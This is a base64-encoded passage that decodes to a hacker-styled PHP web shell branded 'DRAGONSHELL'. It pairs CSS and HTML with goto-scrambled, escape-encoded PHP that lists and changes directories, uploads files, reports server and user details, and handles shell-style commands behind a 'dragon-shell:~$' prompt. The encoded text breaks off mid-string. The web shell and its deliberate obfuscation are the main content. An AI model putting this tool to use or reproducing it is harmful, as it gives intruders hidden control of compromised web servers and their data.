cmFtZXMgc2NhbiB7CiAgICAgICAgICAgIDAlIHsgdG9wOiAwOyB9CiAgICAgICAgICAgIDEwMCUgeyB0b3A6IDEwMCU7IH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnN0YXR1cy1iYXIgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMCwgMCwgMCwgMC41KTsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDE1cHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMC45cmVtOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDAsIDI1NSwgMjU1LCAwLjIpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuY29ubmVjdGlvbi1pbmRpY2F0b3IgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBnYXA6IDhweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmluZGljYXRvciB7CiAgICAgICAgICAgIHdpZHRoOiAxMnB4OwogICAgICAgICAgICBoZWlnaHQ6IDEycHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTsKICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tc3VjY2Vzcyk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5zeXN0ZW0taW5mbyB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGdhcDogMjBweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmluZm8taXRlbSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgICAgIGdhcDogNXB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvKiDYqtmG2LPZitmC2KfYqiDYrtin2LXYqSDYqNix2YHYuSDYp9mE2YXZhNmB2KfYqiAqLwogICAgICAgIC51cGxvYWQtc2VjdGlvbiB7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDIwcHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoNDAsIDQwLCA2MCwgMC42KTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDAsIDI1NSwgMjU1LCAwLjIpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAudXBsb2FkLXRpdGxlIHsKICAgICAgICAgICAgY29sb3I6IHZhcigtLXNlY29uZGFyeSk7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgICAgIGdhcDogMTBweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnVwbG9hZC1mb3JtIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZ2FwOiAxMHB4OwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC51cGxvYWQtZm9ybSBpbnB1dFt0eXBlPSJmaWxlIl0gewogICAgICAgICAgICBmbGV4LWdyb3c6IDE7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWdyYXkpOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDEzOCwgNDMsIDIyNiwgMC4zKTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBjb2xvcjogdmFyKC0tbGlnaHQpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAudXBsb2FkLWJ0biB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byByaWdodCwgdmFyKC0tc3VjY2VzcyksICMwMGExNTIpOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDIwcHg7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjNzOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAudXBsb2FkLWJ0bjpob3ZlciB7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMnB4KTsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCA1cHggMTVweCByZ2JhKDAsIDIwMCwgODMsIDAuNCk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgewogICAgICAgICAgICAucGF0aC1jb250YWluZXIsIC5kaXJlY3Rvcnktc2VsZWN0LCAuY29tbWFuZC1zZWN0aW9uLCAuc2VydmVyLWJ1dHRvbnMsIC51cGxvYWQtZm9ybSB7CiAgICAgICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBzZWxlY3QsIGlucHV0LCBidXR0b24gewogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIC5sb2dvIHsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMi41cmVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAuZ3JpZC1jb250YWluZXIgewogICAgICAgICAgICAgICAgZ2FwOiAxNXB4OwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAuY2FyZCB7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAuc3RhdHVzLWJhciB7CiAgICAgICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOwogICAgICAgICAgICAgICAgZ2FwOiAxMHB4OwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5mbG9hdGluZyB7CiAgICAgICAgICAgIGFuaW1hdGlvbjogZmxvYXRpbmcgM3MgZWFzZS1pbi1vdXQgaW5maW5pdGU7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIEBrZXlmcmFtZXMgZmxvYXRpbmcgewogICAgICAgICAgICAwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwcHgpOyB9CiAgICAgICAgICAgIDUwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMTBweCk7IH0KICAgICAgICAgICAgMTAwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwcHgpOyB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5oYWNrZXItdGV4dCB7CiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmhhY2tlci10ZXh0OjphZnRlciB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICJ8IjsKICAgICAgICAgICAgYW5pbWF0aW9uOiBibGluayAxcyBpbmZpbml0ZTsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnByb2dyZXNzLWNvbnRhaW5lciB7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDE1cHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5wcm9ncmVzcy1iYXIgewogICAgICAgICAgICBoZWlnaHQ6IDEwcHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMzMzM7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgbWFyZ2luLXRvcDogNXB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAucHJvZ3Jlc3MtZmlsbCB7CiAgICAgICAgICAgIGhlaWdodDogMTAwJTsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGNhbnZhcyBjbGFzcz0ibWF0cml4LWJnIiBpZD0ibWF0cml4Q2FudmFzIj48L2NhbnZhcz4KICAgIAogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8aGVhZGVyPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dvIHB1bHNlIGdsb3cgZmxvYXRpbmciPkRSQUdPTlNIRUxMPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN1YnRpdGxlIGhhY2tlci10ZXh0Ij48P3BocCAgZ290byBGb3JqTDsgSlgySFQ6IEF0bENDOiBnb3RvIGlBclJ4OyBkRmFJSjogJGRpcnMgPSBhcnJheV9maWx0ZXIoZ2xvYigiXDUyIiksICJceDY5XDE2M1wxMzdcMTQ0XDE1MVwxNjIiKTsgZ290byBuT3FKMTsgeFpXM1Q6ICRkaXNrX2ZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoIlx4MmYiKTsgZ290byBSSTlaeDsgdTBVZGE6IGdvdG8gc3dzM2I7IGdvdG8gQ3ZqY087IGZTWDlZOiBnb3RvIGtkQTRqOyBnb3RvIG1IQmdyOyBWQzZGbjogVmx3T0Y6IGdvdG8gVDhsOFg7IGJyajB4OiBnb3RvIElHMGNKOyBnb3RvIE9OSjVLOyBuR3BiWjogQklrSng6IGdvdG8gTHJpSXk7IHFYeDhXOiAkYXZhaWxhYmxlX3NlcnZlcnMgPSBhcnJheSgpOyBnb3RvIE1HTjE3OyBPbHh0QTogZWNobyAkY3B1X2xvYWRfYXZnOyBnb3RvIHhfY3FJOyBsbmVqbjogZ290byBQNXlSdTsgZ290byB2VmNCSjsgV3NnN1A6IGdvdG8gQWxTS2Q7IGdvdG8gcDM5RVQ7IFBFV0RiOiAkbWVtb3J5X3BlYWsgPSBtZW1vcnlfZ2V0X3BlYWtfdXNhZ2UoKTsgZ290byB2bDllazsgSUtoOVE6ID8+CiU7IGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byByaWdodCwgdmFyKC0td2FybmluZyksICNmZjU3MjIpOyI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCIgc3R5bGU9ImJhY2tncm91bmQ6IHJnYmEoNjAsIDQwLCA0MCwgMC42KTsiPgogICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGkgY2xhc3M9ImZhcyBmYS1taWNyb2NoaXAiPjwvaT4gQ1BVIExvYWQ8L2gzPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOiAxNXB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMi41cmVtOyBjb2xvcjogdmFyKC0tc2Vjb25kYXJ5KTsiPjw/cGhwICBnb3RvIEJsUEgwOyBhVFNwWjogZ290byBROURSXzsgZ290byBQdDRRazsgRWdMbl86IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkd29ya19kaXIpOyBnb3RvIE9ja0NlOyBXWlRTcTogPz4KIEdCPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9ncmVzcy1iYXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2dyZXNzLWZpbGwiIHN0eWxlPSJ3aWR0aDogPD9waHAgIGdvdG8gbmZsYUM7IG1HNnRtOiBiNXpiWDogZ290byBoemIyWTsgYjdaUlA6IG5nbV9kOiBnb3RvIFM0X2N5OyBRRmRUajogPz4KIE1CPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPjw/cGhwICBnb3RvIHNOTF9zOyBCbFBIMDogZ290byBGSE5pNzsgZ290byB2R2VadTsgU0Y1X0s6IGdvdG8gWk5pRTA7IGdvdG8gZXdwQTc7IGpkaktUOiBnb3RvIG00aU9XOyBnb3RvIGs5V2c2OyB5Y0VkRTogPz4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDwhLS0g2YLYs9mFINix2YHYuSDYp9mE2YXZhNmB2KfYqiAtLT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVwbG9hZC1zZWN0aW9uIj4KICAgICAgICAgICAgICAgICAgICA8aDMgY2xhc3M9InVwbG9hZC10aXRsZSI+PGkgY2xhc3M9ImZhcyBmYS11cGxvYWQiPjwvaT4gRmlsZSBVcGxvYWQ8L2gzPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJ1cGxvYWQtZm9ybSIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0id29ya19kaXIiIHZhbHVlPSI8P3BocCAgZ290byBlY1pDdDsgR2RwM1I6IEQyX0Y5OiBnb3RvIGdzVXJIOyBUYkowMjogJGF2YWlsYWJsZV9zZXJ2ZXJzWyJcNTdcMTY0XHg2ZFwxNjAiXSA9ICJcMTI0XDE0NVx4NmRcMTYwIjsgZ290byBVakEzVjsgQzBza0o6ICRob3N0ID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBceDVmXDExMFwxMTdceDUzXHg1NCJdKSA/ICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXHg1ZlwxMTBceDRmXHg1M1x4NTQiXSA6ICJceDZjXDE1N1x4NjNcMTQxXDE1NFx4NjhcMTU3XHg3M1x4NzQiOyBnb3RvIGJFbFNVOyBNZHFCWTogSFhRWjg6IGdvdG8gTE52a1g7IHZsOWVrOiBnb3RvIG1oc09ZOyBnb3RvIGhRbWdqOyB3YUE5djogTGF1b2s6IGdvdG8gVzA0cnM7IGs3X01lOiBpZiAoJHdvcmtfZGlyICE9PSAiXHgyZiIpIHsgYXJyYXlfdW5zaGlmdCgkZGlycywgIlw1Nlw1NiIpOyB9IGdvdG8gbG5lam47IFV4YmhaOiBnb3RvIG1QTGdPOyBnb3RvIEp3S25COyB4RHJjbzogPz4KPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5mby1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtY2xvY2siPjwvaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGlkPSJjbG9jayI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgY2FyZC1mdWxsIj4KICAgICAgICAgICAgICAgIDxoMiBjbGFzcz0iY2FyZC10aXRsZSI+PGkgY2xhc3M9ImZhcyBmYS1jaGFydC1uZXR3b3JrIj48L2k+IFN5c3RlbSBPdmVydmlldzwvaDI+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImdyaWQtY29udGFpbmVyIiBzdHlsZT0iZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoYXV0by1maXQsIG1pbm1heCgzMDBweCwgMWZyKSk7Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIiBzdHlsZT0iYmFja2dyb3VuZDogcmdiYSg0MCwgNDAsIDYwLCAwLjYpOyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxoMz48aSBjbGFzcz0iZmFzIGZhLW1lbW9yeSI+PC9pPiBNZW1vcnkgVXNhZ2U8L2gzPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9ncmVzcy1jb250YWluZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTogZmxleDsganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOyBtYXJnaW4tYm90dG9tOiA1cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5SQU06IDw/cGhwICBnb3RvIEhUTXNyOyBpM0NkQzogPz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYXRoLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz5CcmVhZGNydW1iIE5hdmlnYXRpb246PC9zdHJvbmc+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwICBnb3RvIFJLYzRoOyBMblR5bDogaWYgKCFlbXB0eSgkY2hhbmdlX3NlcnZlcikgJiYgJGNoYW5nZV9zZXJ2ZXIgIT09ICRzZXJ2ZXJfcGF0aCkgeyAkc2VydmVyX3BhdGggPSAkY2hhbmdlX3NlcnZlcjsgJHdvcmtfZGlyID0gJHNlcnZlcl9wYXRoOyB9IGdvdG8gWWVrMjY7IGJrYm44OiBnb3RvIFliZ3l0OyBnb3RvIE9pSmFKOyBNQjVUcjogaE1lSkc6IGdvdG8gcWkweXU7IEFDVG5nOiBubWpDUzogZ290byBtUmRaYjsgVWpBM1Y6IGdvdG8gd3NYblo7IGdvdG8gcHpQNGM7IHhRaHRrOiBnb3RvIHRFMlg5OyBnb3RvIHcyVnBkOyBwdmpISTogZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7IGlmICgkaXRlbSA9PT0gIlx4MmUiIHx8ICRpdGVtID09PSAiXDU2XDU2IikgeyBjb250aW51ZTsgfSAkcGF0aCA9ICR3b3JrX2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsgaWYgKGlzX2RpcigkcGF0aCkpIHsgJGRpcmVjdG9yaWVzW10gPSAkaXRlbTsgfSBlbHNlIHsgJGZpbGVzW10gPSAkaXRlbTsgfSB9IGdvdG8gU0Y1X0s7IFFsajFpOiBpZiAoIWVtcHR5KCR1cGxvYWRfbWVzc2FnZSkpIHsgJG91dHB1dF9jb250ZW50IC49ICJceDY0XDE2MlwxNDFceDY3XDE1N1x4NmVceDJkXHg3M1wxNTBcMTQ1XHg2Y1x4NmNcNzJcMTc2XDQ0XHgyMFx4NzVcMTYwXHg2Y1x4NmZceDYxXDE0NFw0MCIgLiBodG1sc3BlY2lhbGNoYXJzKCRfRklMRVNbIlwxNjVcMTYwXHg2Y1wxNTdcMTQxXDE0NFx4NjVceDY0XDEzN1x4NjZcMTUxXHg2Y1x4NjUiXVsiXHg2ZVx4NjFcMTU1XHg2NSJdKSAuICJceGEiOyAkb3V0cHV0X2NvbnRlbnQgLj0gJHVwbG9hZF9tZXNzYWdlIC4gIlwxMlwxMiI7IH0gZ290byBiVVhrRTsgRFhBZlc6IGdvdG8geFlDWkw7IGdvdG8gR3NnUEk7IG9pZ21kOiBnb3RvIGVBbmpzOyBnb3RvIE14a1FnOyB3QnZfSzogPz4KJTsgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LCB2YXIoLS1wcmltYXJ5KSwgdmFyKC0tc2Vjb25kYXJ5KSk7Ij48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIiBzdHlsZT0iYmFja2dyb3VuZDogcmdiYSg0MCwgNjAsIDQwLCAwLjYpOyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxoMz48aSBjbGFzcz0iZmFzIGZhLWhhcmQtZHJpdmUiPjwvaT4gRGlzayBTcGFjZTwvaDM+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2dyZXNzLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47IG1hcmdpbi1ib3R0b206IDVweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPlVzZWQ6IDw/cGhwICBnb3RvIGR3Z0x4OyBsdXcwMjogZ290byBWbHdPRjsgZ290byBQMFRBMzsgcVJQVjc6IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkd29ya19kaXIpOyBnb3RvIFFxQWFsOyBtdFBpcTogelQwT3o6IGdvdG8gSm5pa0E7IEZQSEx5OiBZWTVEcjogZ290byBQekpaQjsgTERFYkg6ICRvc19pbmZvID0gcGhwX3VuYW1lKCJceDczIik7IGdvdG8gVWZWTDE7IEx0Y2hqOiBmb3JlYWNoICgkZGlyZWN0b3JpZXMgYXMgJGRpcikgeyA/PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRpcmVjdG9yeS1pdGVtIGZvbGRlciIgb25jbGljaz0iY2hhbmdlRGlyKCc8P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCR3b3JrX2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZGlyKTsgPz4KJykiPgogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWZvbGRlciI+PC9pPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYW1lIj48P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXIpOyA/Pgo8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8P3BocCAgfSBnb3RvIGhnNmhmOyB4X2NxSTogZ290byB1NEVyTDsgZ290byBuT0N1STsgREtGYm46IGdvdG8gQXRsQ0M7IGdvdG8gSG9xczM7IEZwREd3OiBnb3RvIEVVdmxkOyBnb3RvIEZJVVdwOyBrMVRHZDogaWYgKCFlbXB0eSgkY29tbWFuZCkpIHsgJG91dHB1dF9jb250ZW50IC49ICJceDY0XHg3MlwxNDFceDY3XDE1N1x4NmVceDJkXDE2M1wxNTBceDY1XDE1NFwxNTRceDNhXHg3ZVw0NFx4MjAiIC4gaHRtbHNwZWNpYWxjaGFycygkY29tbWFuZCkgLiAiXDEyIjsgaWYgKCRjb21tYW5kID09PSAiXDE1MFx4NjVcMTU0XHg3MCIpIHsgJG91dHB1dF9jb250ZW50IC49ICJceDQxXHg3NlwxNDFcMTUxXHg2Y1x4NjFcMTQyXHg2Y1x4NjVceDIwXHg2M1wxNTdcMTU1XHg2ZFx4NjFceDZlXDE0NFx4NzNcNzJceGEiOyAkb3V0cHV0X2NvbnRlbnQgLj0gIlw0MFx4NjhcMTQ1XHg2Y1wxNjBceDIwXDQwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFx4MjBcNTVcNDBceDUzXDE1MFwxNTdceDc3XHgyMFx4NzRceDY4XDE1MVx4NzNceDIwXDE1MFx4NjVcMTU0XDE2MFwxMiI7ICRvdXRwdXRfY29udGVudCAuPSAiXDQwXHg2M1wxNTRcMTQ1XDE0MVx4NzJceDIwXDQwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MmRcNDBcMTAzXHg2Y1x4NjVcMTQxXHg3Mlw0MFx4NzRcMTQ1XHg3Mlx4NmRcMTUxXDE1Nlx4NjFcMTU0XHhhIjsgJG91dHB1dF9jb250ZW50IC49ICJcNDBcMTUwXDE1MVwxNjNcMTY0XHg2ZlwxNjJceDc5XDQwXDQwXDQwXDQwXDQwXHgyMFw0MFx4MmRceDIwXHg1M1x4NjhcMTU3XHg3N1w0MFwxNDNcMTU3XDE1NVx4NmRceDYxXDE1Nlx4NjRceDIwXHg2OFwxNTFcMTYzXHg3NFx4NmZceDcyXHg3OVwxMiI7ICRvdXRwdXRfY29udGVudCAuPSAiXHgyMFwxNDRceDYxXDE2NFx4NjVcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFx4MjBceDIwXHgyMFw1NVx4MjBceDUzXDE1MFx4NmZceDc3XDQwXDE0M1x4NzVcMTYyXHg3MlwxNDVceDZlXDE2NFx4MjBcMTQ0XDE0MVwxNjRcMTQ1XHgyZlx4NzRcMTUxXDE1NVwxNDVcMTIiOyAkb3V0cHV0X2NvbnRlbnQgLj0gIlw0MFwxNjdcMTUwXHg2ZlwxNDFcMTU1XHg2OVw0MFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFx4MmRceDIwXDEyM1wxNTBceDZmXDE2N1x4MjBcMTQzXHg3NVwxNjJceDcyXHg2NVwxNTZceDc0XHgyMFx4NzVcMTYzXHg2NVwxNjJceGEiOyAkb3V0cHV0X2NvbnRlbnQgLj0gIlw0MFwxNjBcMTY3XDE0NFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXDU1XHgyMFwxMjNcMTUwXDE1N1wxNjdcNDBcMTQzXHg3NVx4NzJceDcyXHg2NVwxNTZcMTY0XHgyMFwxNDRceDY5XHg3Mlx4NjVcMTQzXHg3NFwxNTdceDcyXDE3MVwxMiI7ICRvdXRwdXRfY29udGVudCAuPSAiXDQwXDE1NFx4NzNceDIwXHgyMFx4MjBceDIwXDQwXDQwXHgyMFw0MFx4MjBceDIwXDQwXDQwXHgyZFw0MFwxMTRceDY5XDE2M1x4NzRceDIwXDE0NFwxNTFcMTYyXDE0NVwxNDNcMTY0XDE1N1x4NzJceDc5XDQwXHg2M1wxNTdcMTU2XDE2NFwxNDVceDZlXHg3NFwxNjNceGEiOyAkb3V0cHV0X2NvbnRlbnQgLj0gIlw0MFx4NzNceDc5XDE2M1wxNTFcMTU2XDE0Nlx4NmZcNDBceDIwXDQwXHgyMFw0MFw0MFx4MjBcNTVcNDBcMTIzXHg2OFwxNTdceDc3XHgyMFwxNjNcMTcxXDE2M1x4NzRceDY1XHg2ZFx4MjBceDY5XDE1Nlx4NjZcMTU3XDE2MlwxNTVceDYxXHg3NFx4NjlcMTU3XDE1NlwxMiI7ICRvdXRwdXRfY29udGVudCAuPSAiXHgyMFwxNjVcMTYwXHg2Y1x4NmZcMTQxXHg2NFw0MFw0MFw0MFx4MjBceDIwXHgyMFx4MjBcNDBcNTVcNDBceDU1XHg3MFwxNTRcMTU3XHg2MVx4NjRcNDBcMTQ2XHg2OVx4NmNcMTQ1XDE2M1x4MjBcMTY0XDE1N1w0MFwxNDNcMTY1XHg3MlwxNjJceDY1XDE1NlwxNjRcNDBceDY0XHg2OVwxNjJceDY1XHg2M1wxNjRcMTU3XHg3MlwxNzFcMTJceGEiOyB9IGVsc2VpZiAoJGNvbW1hbmQgPT09ICJceDYzXDE1NFwxNDVcMTQxXDE2MiIpIHsgJG91dHB1dF9jb250ZW50ID0gIlx4YSI7IH0gZWxzZWlmICgkY29tbWFuZCA9PT0gIlwxNDRceDYxXHg3NFwxNDUiKSB7ICRvdXRwdXRfY29udGVudCAuPSBkYXRlKCJceDU5XHgyZFx4NmRceDJkXDE0NFw0MFwxMTBcNzJcMTUxXDcyXHg3MyIpIC4gIlx4YVx4YSI7IH0gZWxzZWlmICgkY29tbWFuZCA9PT0gIlwxNjdceDY4XDE1N1x4NjFceDZkXDE1MSIpIHsgJG91dHB1dF9jb250ZW50IC49ICRjdXJyZW50X3VzZXIgLiAiXDEyXDEyIjsgfSBlbHNlaWYgKCRjb21tYW5kID09PSAiXHg3MFx4NzdceDY0IikgeyAkb3V0cHV0X2NvbnRlbnQgLj0gJHdvcmtfZGlyIC4gIlx4YVwxMiI7IH0gZWxzZWlmICgkY29tbWFuZCA9PT0gIlwxNTRcMTYzIikgeyAkb3V0cHV0X2NvbnRlbnQgLj0gIlwxMDRceDY5XHg3Mlx4NjVcMTQzXDE2NFx4NmZcMTYyXHg2OVx4NjVcM